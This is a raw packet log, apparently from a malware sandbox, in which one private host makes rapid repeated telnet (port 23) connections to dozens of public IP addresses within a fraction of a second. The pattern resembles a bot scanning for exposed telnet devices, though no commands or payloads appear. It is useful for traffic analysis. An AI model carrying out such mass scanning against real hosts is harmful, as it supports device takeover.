Jun 1, 2024 18:15:53.292040110 CEST	23	54330	71.141.166.11	192.168.2.23
Jun 1, 2024 18:15:53.292045116 CEST	43588	23	192.168.2.23	119.20.37.113
Jun 1, 2024 18:15:53.292066097 CEST	54330	23	192.168.2.23	71.141.166.11
Jun 1, 2024 18:15:53.292149067 CEST	23	40430	43.50.166.227	192.168.2.23
Jun 1, 2024 18:15:53.292157888 CEST	23	40540	43.50.166.227	192.168.2.23
Jun 1, 2024 18:15:53.292186975 CEST	40540	23	192.168.2.23	43.50.166.227
Jun 1, 2024 18:15:53.292339087 CEST	23	32830	57.1.75.18	192.168.2.23
Jun 1, 2024 18:15:53.292375088 CEST	32830	23	192.168.2.23	57.1.75.18
Jun 1, 2024 18:15:53.292403936 CEST	23	60952	57.1.75.18	192.168.2.23
Jun 1, 2024 18:15:53.292439938 CEST	23	35514	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.292495012 CEST	23	43430	211.71.207.56	192.168.2.23
Jun 1, 2024 18:15:53.292495966 CEST	35514	23	192.168.2.23	207.189.117.87
Jun 1, 2024 18:15:53.292517900 CEST	35608	23	192.168.2.23	207.189.117.87
Jun 1, 2024 18:15:53.292586088 CEST	23	54248	148.117.169.218	192.168.2.23
Jun 1, 2024 18:15:53.292615891 CEST	23	54138	148.117.169.218	192.168.2.23
Jun 1, 2024 18:15:53.292622089 CEST	54248	23	192.168.2.23	148.117.169.218
Jun 1, 2024 18:15:53.292627096 CEST	23	35570	60.100.41.110	192.168.2.23
Jun 1, 2024 18:15:53.292680025 CEST	23	35680	60.100.41.110	192.168.2.23
Jun 1, 2024 18:15:53.292714119 CEST	35680	23	192.168.2.23	60.100.41.110
Jun 1, 2024 18:15:53.292937040 CEST	23	59878	210.154.194.130	192.168.2.23
Jun 1, 2024 18:15:53.292984962 CEST	23	59986	210.154.194.130	192.168.2.23
Jun 1, 2024 18:15:53.293016911 CEST	59986	23	192.168.2.23	210.154.194.130
Jun 1, 2024 18:15:53.293076992 CEST	23	34984	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.293132067 CEST	34984	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.293143988 CEST	35078	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.293395042 CEST	23	59998	159.100.13.109	192.168.2.23
Jun 1, 2024 18:15:53.293469906 CEST	23	35560	2.132.81.74	192.168.2.23
Jun 1, 2024 18:15:53.293602943 CEST	23	35668	2.132.81.74	192.168.2.23
Jun 1, 2024 18:15:53.293639898 CEST	35668	23	192.168.2.23	2.132.81.74
Jun 1, 2024 18:15:53.293705940 CEST	23	58164	18.19.48.185	192.168.2.23
Jun 1, 2024 18:15:53.294279099 CEST	23	40884	1.12.235.252	192.168.2.23
Jun 1, 2024 18:15:53.294291019 CEST	23	40990	1.12.235.252	192.168.2.23
Jun 1, 2024 18:15:53.294326067 CEST	23	52668	35.17.185.149	192.168.2.23
Jun 1, 2024 18:15:53.294328928 CEST	40990	23	192.168.2.23	1.12.235.252
Jun 1, 2024 18:15:53.294338942 CEST	23	52774	35.17.185.149	192.168.2.23
Jun 1, 2024 18:15:53.294380903 CEST	52774	23	192.168.2.23	35.17.185.149
Jun 1, 2024 18:15:53.294538975 CEST	23	47182	169.237.222.240	192.168.2.23
Jun 1, 2024 18:15:53.294549942 CEST	23	42836	67.220.156.180	192.168.2.23
Jun 1, 2024 18:15:53.294560909 CEST	23	42938	67.220.156.180	192.168.2.23
Jun 1, 2024 18:15:53.294589996 CEST	42938	23	192.168.2.23	67.220.156.180
Jun 1, 2024 18:15:53.294610023 CEST	47276	23	192.168.2.23	169.237.222.240
Jun 1, 2024 18:15:53.294642925 CEST	23	44210	67.109.44.47	192.168.2.23
Jun 1, 2024 18:15:53.294656038 CEST	47182	23	192.168.2.23	169.237.222.240
Jun 1, 2024 18:15:53.294785023 CEST	23	44312	67.109.44.47	192.168.2.23
Jun 1, 2024 18:15:53.294821978 CEST	23	54640	77.239.54.162	192.168.2.23
Jun 1, 2024 18:15:53.294821978 CEST	44312	23	192.168.2.23	67.109.44.47
Jun 1, 2024 18:15:53.294830084 CEST	23	54740	77.239.54.162	192.168.2.23
Jun 1, 2024 18:15:53.294853926 CEST	54740	23	192.168.2.23	77.239.54.162
Jun 1, 2024 18:15:53.294955015 CEST	23	49690	153.62.202.152	192.168.2.23
Jun 1, 2024 18:15:53.295164108 CEST	23	54996	121.212.180.108	192.168.2.23
Jun 1, 2024 18:15:53.295172930 CEST	23	37964	2.165.122.239	192.168.2.23
Jun 1, 2024 18:15:53.295181990 CEST	23	40050	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.295223951 CEST	37964	23	192.168.2.23	2.165.122.239
Jun 1, 2024 18:15:53.295237064 CEST	38058	23	192.168.2.23	2.165.122.239
Jun 1, 2024 18:15:53.295239925 CEST	23	40148	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.295286894 CEST	40148	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.295336962 CEST	23	49518	111.80.31.23	192.168.2.23
Jun 1, 2024 18:15:53.295389891 CEST	49518	23	192.168.2.23	111.80.31.23
Jun 1, 2024 18:15:53.295404911 CEST	49610	23	192.168.2.23	111.80.31.23
Jun 1, 2024 18:15:53.295638084 CEST	23	36590	135.113.1.250	192.168.2.23
Jun 1, 2024 18:15:53.295682907 CEST	23	44920	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.295695066 CEST	23	45016	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.295696974 CEST	36590	23	192.168.2.23	135.113.1.250
Jun 1, 2024 18:15:53.295705080 CEST	23	33318	35.131.211.123	192.168.2.23
Jun 1, 2024 18:15:53.295721054 CEST	36680	23	192.168.2.23	135.113.1.250
Jun 1, 2024 18:15:53.295725107 CEST	45016	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.295762062 CEST	33408	23	192.168.2.23	35.131.211.123
Jun 1, 2024 18:15:53.296143055 CEST	23	50874	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.296153069 CEST	23	40258	176.167.75.84	192.168.2.23
Jun 1, 2024 18:15:53.296155930 CEST	33318	23	192.168.2.23	35.131.211.123
Jun 1, 2024 18:15:53.296161890 CEST	23	50970	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.296180010 CEST	23	50626	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.296190023 CEST	23	50720	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.296190023 CEST	50970	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.296214104 CEST	23	38656	44.119.26.186	192.168.2.23
Jun 1, 2024 18:15:53.296221018 CEST	40258	23	192.168.2.23	176.167.75.84
Jun 1, 2024 18:15:53.296224117 CEST	23	60754	88.91.246.130	192.168.2.23
Jun 1, 2024 18:15:53.296222925 CEST	50720	23	192.168.2.23	212.41.104.134
Jun 1, 2024 18:15:53.296232939 CEST	40348	23	192.168.2.23	176.167.75.84
Jun 1, 2024 18:15:53.296232939 CEST	23	38750	44.119.26.186	192.168.2.23
Jun 1, 2024 18:15:53.296242952 CEST	23	52314	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.296252012 CEST	23	52220	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.296261072 CEST	23	58642	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.296262980 CEST	38750	23	192.168.2.23	44.119.26.186
Jun 1, 2024 18:15:53.296266079 CEST	52314	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.296269894 CEST	23	58736	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.296278954 CEST	23	54786	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.296295881 CEST	60754	23	192.168.2.23	88.91.246.130
Jun 1, 2024 18:15:53.296299934 CEST	58736	23	192.168.2.23	212.78.208.187
Jun 1, 2024 18:15:53.296300888 CEST	23	58226	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.296314001 CEST	60842	23	192.168.2.23	88.91.246.130
Jun 1, 2024 18:15:53.296344995 CEST	54786	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.296361923 CEST	54872	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.296381950 CEST	23	58320	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.296415091 CEST	58320	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.296767950 CEST	23	53048	126.48.142.44	192.168.2.23
Jun 1, 2024 18:15:53.296832085 CEST	53048	23	192.168.2.23	126.48.142.44
Jun 1, 2024 18:15:53.296833992 CEST	53134	23	192.168.2.23	126.48.142.44
Jun 1, 2024 18:15:53.296904087 CEST	23	51184	150.219.141.42	192.168.2.23
Jun 1, 2024 18:15:53.296955109 CEST	51184	23	192.168.2.23	150.219.141.42
Jun 1, 2024 18:15:53.296968937 CEST	51270	23	192.168.2.23	150.219.141.42
Jun 1, 2024 18:15:53.297130108 CEST	23	37136	65.204.172.161	192.168.2.23
Jun 1, 2024 18:15:53.297180891 CEST	37136	23	192.168.2.23	65.204.172.161
Jun 1, 2024 18:15:53.297195911 CEST	37222	23	192.168.2.23	65.204.172.161
Jun 1, 2024 18:15:53.297204971 CEST	23	42652	61.189.238.125	192.168.2.23
Jun 1, 2024 18:15:53.297255039 CEST	23	35514	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.297255993 CEST	42652	23	192.168.2.23	61.189.238.125
Jun 1, 2024 18:15:53.297272921 CEST	42736	23	192.168.2.23	61.189.238.125
Jun 1, 2024 18:15:53.297291040 CEST	23	52100	85.63.105.242	192.168.2.23
Jun 1, 2024 18:15:53.297310114 CEST	23	35608	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.297346115 CEST	52100	23	192.168.2.23	85.63.105.242
Jun 1, 2024 18:15:53.297349930 CEST	35608	23	192.168.2.23	207.189.117.87
Jun 1, 2024 18:15:53.297363043 CEST	52184	23	192.168.2.23	85.63.105.242
Jun 1, 2024 18:15:53.297455072 CEST	23	55254	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.297508001 CEST	55254	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.297523022 CEST	55338	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.297698975 CEST	23	43588	119.20.37.113	192.168.2.23
Jun 1, 2024 18:15:53.297735929 CEST	23	54330	71.141.166.11	192.168.2.23
Jun 1, 2024 18:15:53.297765970 CEST	43588	23	192.168.2.23	119.20.37.113
Jun 1, 2024 18:15:53.297779083 CEST	43672	23	192.168.2.23	119.20.37.113
Jun 1, 2024 18:15:53.297817945 CEST	54330	23	192.168.2.23	71.141.166.11
Jun 1, 2024 18:15:53.297828913 CEST	54414	23	192.168.2.23	71.141.166.11
Jun 1, 2024 18:15:53.297954082 CEST	23	40540	43.50.166.227	192.168.2.23
Jun 1, 2024 18:15:53.298010111 CEST	23	34984	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.298018932 CEST	23	35078	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.298022985 CEST	40624	23	192.168.2.23	43.50.166.227
Jun 1, 2024 18:15:53.298031092 CEST	40540	23	192.168.2.23	43.50.166.227
Jun 1, 2024 18:15:53.298046112 CEST	35078	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.298110008 CEST	23	32830	57.1.75.18	192.168.2.23
Jun 1, 2024 18:15:53.298161983 CEST	32830	23	192.168.2.23	57.1.75.18
Jun 1, 2024 18:15:53.298172951 CEST	32914	23	192.168.2.23	57.1.75.18
Jun 1, 2024 18:15:53.298219919 CEST	23	54248	148.117.169.218	192.168.2.23
Jun 1, 2024 18:15:53.298275948 CEST	54248	23	192.168.2.23	148.117.169.218
Jun 1, 2024 18:15:53.298283100 CEST	54330	23	192.168.2.23	148.117.169.218
Jun 1, 2024 18:15:53.298310995 CEST	23	35680	60.100.41.110	192.168.2.23
Jun 1, 2024 18:15:53.298366070 CEST	35680	23	192.168.2.23	60.100.41.110
Jun 1, 2024 18:15:53.298377037 CEST	35762	23	192.168.2.23	60.100.41.110
Jun 1, 2024 18:15:53.298459053 CEST	23	59986	210.154.194.130	192.168.2.23
Jun 1, 2024 18:15:53.298518896 CEST	59986	23	192.168.2.23	210.154.194.130
Jun 1, 2024 18:15:53.298533916 CEST	60068	23	192.168.2.23	210.154.194.130
Jun 1, 2024 18:15:53.298593998 CEST	23	35668	2.132.81.74	192.168.2.23
Jun 1, 2024 18:15:53.298651934 CEST	35668	23	192.168.2.23	2.132.81.74
Jun 1, 2024 18:15:53.298664093 CEST	35748	23	192.168.2.23	2.132.81.74
Jun 1, 2024 18:15:53.299324036 CEST	23	40990	1.12.235.252	192.168.2.23
Jun 1, 2024 18:15:53.299412012 CEST	40990	23	192.168.2.23	1.12.235.252
Jun 1, 2024 18:15:53.299422026 CEST	41068	23	192.168.2.23	1.12.235.252
Jun 1, 2024 18:15:53.299632072 CEST	23	52774	35.17.185.149	192.168.2.23
Jun 1, 2024 18:15:53.299642086 CEST	23	47276	169.237.222.240	192.168.2.23
Jun 1, 2024 18:15:53.299652100 CEST	23	47182	169.237.222.240	192.168.2.23
Jun 1, 2024 18:15:53.299660921 CEST	23	42938	67.220.156.180	192.168.2.23
Jun 1, 2024 18:15:53.299674034 CEST	47276	23	192.168.2.23	169.237.222.240
Jun 1, 2024 18:15:53.299730062 CEST	52774	23	192.168.2.23	35.17.185.149
Jun 1, 2024 18:15:53.299735069 CEST	52852	23	192.168.2.23	35.17.185.149
Jun 1, 2024 18:15:53.299762011 CEST	42938	23	192.168.2.23	67.220.156.180
Jun 1, 2024 18:15:53.299773932 CEST	43016	23	192.168.2.23	67.220.156.180
Jun 1, 2024 18:15:53.299849033 CEST	23	44312	67.109.44.47	192.168.2.23
Jun 1, 2024 18:15:53.299904108 CEST	44312	23	192.168.2.23	67.109.44.47
Jun 1, 2024 18:15:53.299920082 CEST	44390	23	192.168.2.23	67.109.44.47
Jun 1, 2024 18:15:53.299956083 CEST	23	54740	77.239.54.162	192.168.2.23
Jun 1, 2024 18:15:53.300009966 CEST	54740	23	192.168.2.23	77.239.54.162
Jun 1, 2024 18:15:53.300026894 CEST	54818	23	192.168.2.23	77.239.54.162
Jun 1, 2024 18:15:53.300163031 CEST	23	37964	2.165.122.239	192.168.2.23
Jun 1, 2024 18:15:53.300172091 CEST	23	38058	2.165.122.239	192.168.2.23
Jun 1, 2024 18:15:53.300204992 CEST	38058	23	192.168.2.23	2.165.122.239
Jun 1, 2024 18:15:53.300237894 CEST	23	49518	111.80.31.23	192.168.2.23
Jun 1, 2024 18:15:53.300277948 CEST	23	49610	111.80.31.23	192.168.2.23
Jun 1, 2024 18:15:53.300287008 CEST	23	40148	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.300313950 CEST	49610	23	192.168.2.23	111.80.31.23
Jun 1, 2024 18:15:53.300342083 CEST	40148	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.300350904 CEST	40222	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.300374031 CEST	80	38426	25.119.127.189	192.168.2.23
Jun 1, 2024 18:15:53.300626040 CEST	23	36590	135.113.1.250	192.168.2.23
Jun 1, 2024 18:15:53.300635099 CEST	23	36680	135.113.1.250	192.168.2.23
Jun 1, 2024 18:15:53.300647020 CEST	23	33408	35.131.211.123	192.168.2.23
Jun 1, 2024 18:15:53.300664902 CEST	23	45016	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.300668955 CEST	36680	23	192.168.2.23	135.113.1.250
Jun 1, 2024 18:15:53.300673962 CEST	33408	23	192.168.2.23	35.131.211.123
Jun 1, 2024 18:15:53.300719023 CEST	45016	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.300734043 CEST	45090	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.300993919 CEST	23	33318	35.131.211.123	192.168.2.23
Jun 1, 2024 18:15:53.301359892 CEST	23	40258	176.167.75.84	192.168.2.23
Jun 1, 2024 18:15:53.301369905 CEST	23	40348	176.167.75.84	192.168.2.23
Jun 1, 2024 18:15:53.301397085 CEST	23	50970	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.301404953 CEST	40348	23	192.168.2.23	176.167.75.84
Jun 1, 2024 18:15:53.301407099 CEST	23	60754	88.91.246.130	192.168.2.23
Jun 1, 2024 18:15:53.301415920 CEST	23	54786	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.301424026 CEST	23	50720	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.301434040 CEST	23	54872	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.301456928 CEST	54872	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.301466942 CEST	50970	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.301481962 CEST	51044	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.301481962 CEST	50720	23	192.168.2.23	212.41.104.134
Jun 1, 2024 18:15:53.301501036 CEST	50794	23	192.168.2.23	212.41.104.134
Jun 1, 2024 18:15:53.301594973 CEST	23	38750	44.119.26.186	192.168.2.23
Jun 1, 2024 18:15:53.301665068 CEST	38750	23	192.168.2.23	44.119.26.186
Jun 1, 2024 18:15:53.301685095 CEST	38824	23	192.168.2.23	44.119.26.186
Jun 1, 2024 18:15:53.301692963 CEST	23	53134	126.48.142.44	192.168.2.23
Jun 1, 2024 18:15:53.301702976 CEST	23	53048	126.48.142.44	192.168.2.23
Jun 1, 2024 18:15:53.301711082 CEST	23	52314	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.301726103 CEST	53134	23	192.168.2.23	126.48.142.44
Jun 1, 2024 18:15:53.301754951 CEST	52314	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.301773071 CEST	52388	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.301775932 CEST	23	51184	150.219.141.42	192.168.2.23
Jun 1, 2024 18:15:53.301785946 CEST	23	51270	150.219.141.42	192.168.2.23
Jun 1, 2024 18:15:53.301812887 CEST	51270	23	192.168.2.23	150.219.141.42
Jun 1, 2024 18:15:53.301870108 CEST	23	58736	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.301924944 CEST	58736	23	192.168.2.23	212.78.208.187
Jun 1, 2024 18:15:53.301942110 CEST	58810	23	192.168.2.23	212.78.208.187
Jun 1, 2024 18:15:53.301954985 CEST	23	58320	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.302005053 CEST	58320	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.302014112 CEST	58394	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.302298069 CEST	23	37136	65.204.172.161	192.168.2.23
Jun 1, 2024 18:15:53.302316904 CEST	23	42652	61.189.238.125	192.168.2.23
Jun 1, 2024 18:15:53.302383900 CEST	23	42736	61.189.238.125	192.168.2.23
Jun 1, 2024 18:15:53.302393913 CEST	23	52100	85.63.105.242	192.168.2.23
Jun 1, 2024 18:15:53.302431107 CEST	23	52184	85.63.105.242	192.168.2.23
Jun 1, 2024 18:15:53.302443981 CEST	42736	23	192.168.2.23	61.189.238.125
Jun 1, 2024 18:15:53.302449942 CEST	23	35608	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.302459002 CEST	23	55254	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.302460909 CEST	52184	23	192.168.2.23	85.63.105.242
Jun 1, 2024 18:15:53.302469015 CEST	23	55338	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.302499056 CEST	55338	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.302509069 CEST	35608	23	192.168.2.23	207.189.117.87
Jun 1, 2024 18:15:53.302520037 CEST	35682	23	192.168.2.23	207.189.117.87
Jun 1, 2024 18:15:53.302597046 CEST	23	43588	119.20.37.113	192.168.2.23
Jun 1, 2024 18:15:53.302645922 CEST	23	43672	119.20.37.113	192.168.2.23
Jun 1, 2024 18:15:53.302680016 CEST	43672	23	192.168.2.23	119.20.37.113
Jun 1, 2024 18:15:53.302700996 CEST	23	54330	71.141.166.11	192.168.2.23
Jun 1, 2024 18:15:53.302710056 CEST	23	54414	71.141.166.11	192.168.2.23
Jun 1, 2024 18:15:53.302736998 CEST	54414	23	192.168.2.23	71.141.166.11
Jun 1, 2024 18:15:53.302874088 CEST	23	40540	43.50.166.227	192.168.2.23
Jun 1, 2024 18:15:53.302963018 CEST	23	32830	57.1.75.18	192.168.2.23
Jun 1, 2024 18:15:53.303011894 CEST	23	35078	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.303046942 CEST	23	32914	57.1.75.18	192.168.2.23
Jun 1, 2024 18:15:53.303066015 CEST	35078	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.303066969 CEST	23	54248	148.117.169.218	192.168.2.23
Jun 1, 2024 18:15:53.303076029 CEST	32914	23	192.168.2.23	57.1.75.18
Jun 1, 2024 18:15:53.303076029 CEST	35152	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.303177118 CEST	23	54330	148.117.169.218	192.168.2.23
Jun 1, 2024 18:15:53.303205013 CEST	23	35680	60.100.41.110	192.168.2.23
Jun 1, 2024 18:15:53.303210974 CEST	54330	23	192.168.2.23	148.117.169.218
Jun 1, 2024 18:15:53.303237915 CEST	23	35762	60.100.41.110	192.168.2.23
Jun 1, 2024 18:15:53.303271055 CEST	35762	23	192.168.2.23	60.100.41.110
Jun 1, 2024 18:15:53.303405046 CEST	23	59986	210.154.194.130	192.168.2.23
Jun 1, 2024 18:15:53.303442001 CEST	23	35668	2.132.81.74	192.168.2.23
Jun 1, 2024 18:15:53.304399014 CEST	23	40990	1.12.235.252	192.168.2.23
Jun 1, 2024 18:15:53.304444075 CEST	23	41068	1.12.235.252	192.168.2.23
Jun 1, 2024 18:15:53.304476976 CEST	41068	23	192.168.2.23	1.12.235.252
Jun 1, 2024 18:15:53.304838896 CEST	23	52852	35.17.185.149	192.168.2.23
Jun 1, 2024 18:15:53.304850101 CEST	23	52774	35.17.185.149	192.168.2.23
Jun 1, 2024 18:15:53.304858923 CEST	23	42938	67.220.156.180	192.168.2.23
Jun 1, 2024 18:15:53.304868937 CEST	23	44312	67.109.44.47	192.168.2.23
Jun 1, 2024 18:15:53.304876089 CEST	52852	23	192.168.2.23	35.17.185.149
Jun 1, 2024 18:15:53.304877996 CEST	23	47276	169.237.222.240	192.168.2.23
Jun 1, 2024 18:15:53.304913044 CEST	23	54740	77.239.54.162	192.168.2.23
Jun 1, 2024 18:15:53.304923058 CEST	47276	23	192.168.2.23	169.237.222.240
Jun 1, 2024 18:15:53.304944038 CEST	47350	23	192.168.2.23	169.237.222.240
Jun 1, 2024 18:15:53.304945946 CEST	23	54818	77.239.54.162	192.168.2.23
Jun 1, 2024 18:15:53.304981947 CEST	54818	23	192.168.2.23	77.239.54.162
Jun 1, 2024 18:15:53.305255890 CEST	23	40148	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.305291891 CEST	23	38058	2.165.122.239	192.168.2.23
Jun 1, 2024 18:15:53.305301905 CEST	23	40222	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.305330038 CEST	40222	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.305349112 CEST	38058	23	192.168.2.23	2.165.122.239
Jun 1, 2024 18:15:53.305365086 CEST	38132	23	192.168.2.23	2.165.122.239
Jun 1, 2024 18:15:53.305636883 CEST	23	49610	111.80.31.23	192.168.2.23
Jun 1, 2024 18:15:53.305691004 CEST	49610	23	192.168.2.23	111.80.31.23
Jun 1, 2024 18:15:53.305701971 CEST	49684	23	192.168.2.23	111.80.31.23
Jun 1, 2024 18:15:53.305747032 CEST	23	45016	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.305756092 CEST	23	45090	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.305785894 CEST	45090	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.305869102 CEST	23	33408	35.131.211.123	192.168.2.23
Jun 1, 2024 18:15:53.305917025 CEST	33408	23	192.168.2.23	35.131.211.123
Jun 1, 2024 18:15:53.305928946 CEST	33480	23	192.168.2.23	35.131.211.123
Jun 1, 2024 18:15:53.306054115 CEST	23	36680	135.113.1.250	192.168.2.23
Jun 1, 2024 18:15:53.306108952 CEST	36680	23	192.168.2.23	135.113.1.250
Jun 1, 2024 18:15:53.306116104 CEST	36756	23	192.168.2.23	135.113.1.250
Jun 1, 2024 18:15:53.306555986 CEST	23	50970	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.306574106 CEST	23	51044	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.306598902 CEST	23	40348	176.167.75.84	192.168.2.23
Jun 1, 2024 18:15:53.306612015 CEST	51044	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.306639910 CEST	23	50720	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.306651115 CEST	23	50794	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.306658030 CEST	40348	23	192.168.2.23	176.167.75.84
Jun 1, 2024 18:15:53.306674957 CEST	40422	23	192.168.2.23	176.167.75.84
Jun 1, 2024 18:15:53.306679010 CEST	50794	23	192.168.2.23	212.41.104.134
Jun 1, 2024 18:15:53.306684017 CEST	23	38750	44.119.26.186	192.168.2.23
Jun 1, 2024 18:15:53.306694031 CEST	23	54872	69.166.177.188	192.168.2.23
Jun 1, 2024 18:15:53.306727886 CEST	54872	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.306736946 CEST	54944	23	192.168.2.23	69.166.177.188
Jun 1, 2024 18:15:53.307024002 CEST	23	52314	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.307041883 CEST	23	52388	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.307077885 CEST	52388	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.307116032 CEST	23	53134	126.48.142.44	192.168.2.23
Jun 1, 2024 18:15:53.307125092 CEST	23	58736	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.307133913 CEST	23	58810	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.307142973 CEST	23	51270	150.219.141.42	192.168.2.23
Jun 1, 2024 18:15:53.307171106 CEST	58810	23	192.168.2.23	212.78.208.187
Jun 1, 2024 18:15:53.307182074 CEST	53134	23	192.168.2.23	126.48.142.44
Jun 1, 2024 18:15:53.307192087 CEST	23	58320	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.307200909 CEST	53206	23	192.168.2.23	126.48.142.44
Jun 1, 2024 18:15:53.307202101 CEST	23	58394	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.307235003 CEST	58394	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.307235956 CEST	51270	23	192.168.2.23	150.219.141.42
Jun 1, 2024 18:15:53.307248116 CEST	51342	23	192.168.2.23	150.219.141.42
Jun 1, 2024 18:15:53.307534933 CEST	23	35608	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.307564974 CEST	23	42736	61.189.238.125	192.168.2.23
Jun 1, 2024 18:15:53.307574034 CEST	23	35682	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.307602882 CEST	35682	23	192.168.2.23	207.189.117.87
Jun 1, 2024 18:15:53.307607889 CEST	23	52184	85.63.105.242	192.168.2.23
Jun 1, 2024 18:15:53.307634115 CEST	42736	23	192.168.2.23	61.189.238.125
Jun 1, 2024 18:15:53.307647943 CEST	42806	23	192.168.2.23	61.189.238.125
Jun 1, 2024 18:15:53.307678938 CEST	52184	23	192.168.2.23	85.63.105.242
Jun 1, 2024 18:15:53.307691097 CEST	52254	23	192.168.2.23	85.63.105.242
Jun 1, 2024 18:15:53.307768106 CEST	23	55338	64.64.201.126	192.168.2.23
Jun 1, 2024 18:15:53.307823896 CEST	55338	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.307841063 CEST	55408	23	192.168.2.23	64.64.201.126
Jun 1, 2024 18:15:53.308111906 CEST	23	43672	119.20.37.113	192.168.2.23
Jun 1, 2024 18:15:53.308168888 CEST	43672	23	192.168.2.23	119.20.37.113
Jun 1, 2024 18:15:53.308182955 CEST	43742	23	192.168.2.23	119.20.37.113
Jun 1, 2024 18:15:53.308267117 CEST	23	54414	71.141.166.11	192.168.2.23
Jun 1, 2024 18:15:53.308305025 CEST	23	35078	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.308314085 CEST	23	35152	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.308320045 CEST	54414	23	192.168.2.23	71.141.166.11
Jun 1, 2024 18:15:53.308334112 CEST	54484	23	192.168.2.23	71.141.166.11
Jun 1, 2024 18:15:53.308341980 CEST	35152	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.308345079 CEST	23	32914	57.1.75.18	192.168.2.23
Jun 1, 2024 18:15:53.308397055 CEST	32914	23	192.168.2.23	57.1.75.18
Jun 1, 2024 18:15:53.308418989 CEST	32982	23	192.168.2.23	57.1.75.18
Jun 1, 2024 18:15:53.308448076 CEST	23	54330	148.117.169.218	192.168.2.23
Jun 1, 2024 18:15:53.308500051 CEST	54330	23	192.168.2.23	148.117.169.218
Jun 1, 2024 18:15:53.308507919 CEST	54398	23	192.168.2.23	148.117.169.218
Jun 1, 2024 18:15:53.308562994 CEST	23	35762	60.100.41.110	192.168.2.23
